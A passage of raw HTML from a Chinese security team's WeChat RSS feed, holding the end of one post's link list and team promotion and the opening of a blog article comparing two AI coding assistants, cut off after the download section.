138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9dfe93a7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247522445%26idx%3D1%26sn%3D399ac66912618c37a63e35f5255922d5">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Jul 2026 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>编程AI的“相爱相杀”：谁更懂我的心？</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247522285&amp;idx=1&amp;sn=3d959e54ae3a9c0f88ccaa6f2ecd63cd</link>
      <description>本文所呈现之内容，皆为本人在使用AI工具过程中的实际体验与对效果的客观描述，旨在分享使用感受与技术探索。</description>
      <content:encoded><![CDATA[<p>原创 <span>swordlover</span> <span>2026-06-29 17:00</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=46d2383e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdWtep1zwFlKFibN3pQJXmFibr1CNSXEiaicW0Qzb12QdmG5qtZDnDiaVvpo3Af8A67JHGLsJDCSIF2xn6g2iaXR53cChvIA3ia2QaWeK8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本文所呈现之内容，皆为本人在使用AI工具过程中的实际体验与对效果的客观描述，旨在分享使用感受与技术探索。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, Microsoft YaHei, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">免责说明：本文所呈现之内容，皆为本人在使用AI工具过程中的实际体验与对效果的客观描述。旨在分享使用感受与技术探索，不存在任何刻意拉踩、侮辱或恶意营销的意图。文中涉及的网站、代码及数据均来源于本地的靶场环境。这些内容仅用于技术研究、学习交流等合法合规的目的，并未对任何第三方平台、服务或个人造成不良影响或侵害其权益。</span></span></h4><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">开头一个小故事：</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">起因是我的云服务器快到期了，去年用对象的学生身份租了一年，就想上华为云看看现在的价位，刚刚登上就弹出了云码道（codeArts）的广子，对于喜欢渐变色的我来说太有吸引力了，然后就下载下来用试一试（诶，我一开始想过干啥来着？。。。） 让我们欢迎两位出场嘉宾！啪啪啪啪啪哦~~~~~</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038606" data-ratio="0.4600484261501211" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="413" src="https://wechat2rss.xlab.app/img-proxy/?k=35edb272&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWZkbgcpV2CE67aM0fZCu65BKb9hQFDrcuWXHUv39UUP6jys3sO5eT2iaCWOKJeYJCowLeibAZtfmbWxySRiaGsdSeevk8EsZ6RZ4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">一、官网下载</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通义灵码<a href="https://lingma.aliyun.com/download" target="_blank">https://lingma.aliyun.com/download</a></span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5009259259259259" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038608" src="https://wechat2rss.xlab.app/img-proxy/?k=1dbc6506&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdV8wRlootTGobTibFBA5cLFWMlEtWnxayshNapt6MxRPYR8dr76oB1xmachVXwJo3iagx6HicrwCib8XfuVOGCP47icVG84MoT3XQJs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">云码道<a href="https://www.huaweicloud.com/product/codearts/download.html" target="_blank">https://www.huaweicloud.com/product/codearts/download.html</a></span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37777777777777777" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038607" src="https://wechat2rss.xlab.app/img-proxy/?k=2e4b7abc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdW8BibPZAbmcUBS2JKvtYIVOB81hetELyVfjV3rq3TBI3nmMud5Y0M78v8VUaQUuOqW4yicEgf32egiap6QnqmeZicZKY5UXBodgu4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">注意登录账号时候有个自动续费，这里我点着急了，忘了可不可以把自动续费点下去，反正记得从控制台上把它关了，如图（有钱的佬可以不关，但如果可以请给兄弟们介绍几个富婆）</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.29074074074074074" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038605" src="https://wechat2rss.xlab.app/img-proxy/?k=bc5a31d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWponQmSedFic03RUAhUXzJzBSw3fvU6fEn6npibI3ROhsWOvwQcSNPcgG91txBNmuXBxnnx0jOgIocibialUQrTjWRYrsHDchFibibo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0509554140127388" data-type="png" data-w="157" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038604" src="https://wechat2rss.xlab.app/img-proxy/?k=af4e4822&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdV7J0YL1IFQzSw6fs1WfqTss02rCiaFzUTjkXfJzDEvp8Lzr9eeZXZSNZSR7JO9HbRZJETBj5I1ZEsvlMwjib5TxQ00ia2vib5jz20%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 